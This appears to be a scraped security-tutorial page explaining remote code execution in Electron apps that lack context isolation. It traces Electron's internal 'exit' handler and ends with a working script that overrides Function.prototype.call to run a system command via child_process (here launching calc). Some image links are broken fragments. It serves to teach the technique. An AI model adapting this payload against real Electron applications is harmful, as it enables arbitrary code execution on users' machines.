48 lines
1.4 KiB
Markdown
48 lines
1.4 KiB
Markdown
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# Electron contextIsolation RCE via Electron internal code
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## Example 1
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Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
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"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
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```javascript
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process.on('exit', function (){
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for (let p in cachedArchives) {
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if (!hasProp.call(cachedArchives, p)) continue
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cachedArchives[p].destroy()
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}
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})
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```
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{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
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.png>)
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https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists
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Then it goes here:
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.png>)
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Where "self" is Node's process object:
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.png>)
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The process object has a references to "require" function:
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```
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process.mainModule.require
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```
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As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
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```html
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<script>
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Function.prototype.call = function(process){
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process.mainModule.require('child_process').execSync('calc');
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}
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location.reload();//Trigger the "exit" event
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</script>
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```
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